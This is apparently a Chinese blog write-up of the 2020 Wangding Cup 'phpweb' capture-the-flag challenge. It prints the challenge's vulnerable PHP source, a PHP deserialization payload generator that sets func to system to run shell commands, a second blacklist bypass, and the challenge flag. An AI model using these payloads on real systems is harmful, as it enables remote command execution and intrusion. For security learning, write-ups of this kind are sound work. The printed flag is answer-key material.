[网鼎杯 2020 朱雀组]phpweb

发布时间 2023-09-13 23:05:25作者: h40vv3n

[网鼎杯 2020 朱雀组]phpweb

解法一

打开网站发现一直在重复刷新界面,分析这段报错信息发现最后有一个日期,并且每过5秒钟就会刷新一次

image-20230913212633520

此时我们尝试抓包来进行分析

image-20230913212847953

由于界面上显示的是当前的时间,并且抓包发现post传了两个数据,分别是date和输出日期的格式,因此推测,func为函数名称,p为函数的参数,这两个值传到后端就会执行相应的函数

所以我们尝试执行system()函数来执行系统命令

image-20230913213659617

输出了Hacker,推测应该是有黑名单进行了过滤,此时我们尝试下能不能读取源码来进一步分析,具体的函数有,file_get_contents(),highlight_file(),show_source()等

image-20230913215143390

此时发现成功执行,并且输出了源码,将该代码复制出来如下:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

此时发现类Test中的成员函数__destruct()函数执行了gettime()函数,而该函数则调用了关键函数call_user_func(),再看看黑名单中没有过滤unserialize()函数,此时想到可以尝试反序列化

构造payload的代码如下:

<?php
    class Test {
        var $p = "ls";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $a = new Test();
    echo serialize($a);
?>

将序列化之后的结果作为变量p的值,func的值则为unserialize

image-20230913220520793

发现成功执行了命令,接下来逐步尝试寻找flag

image-20230913221514235

最终也是在/tmp目录下发现了flag文件

image-20230913221907422

因此本题的flag为:flag{86f0d32f-32bc-484f-9114-d3e0fcfbb389}

解法二

本题还有另外一种解法

这道题只要能够绕过黑名单执行系统函数就能得到flag,因此查询相关资料得知php执行执行代码的时候会跳过特殊的字符串,因此可以通过添加特殊字符串的方式绕过黑名单

image-20230913222647557

可以发现成功执行了命令,所以通过该种方式也能够得到flag

image-20230913222821416

flag{86f0d32f-32bc-484f-9114-d3e0fcfbb389}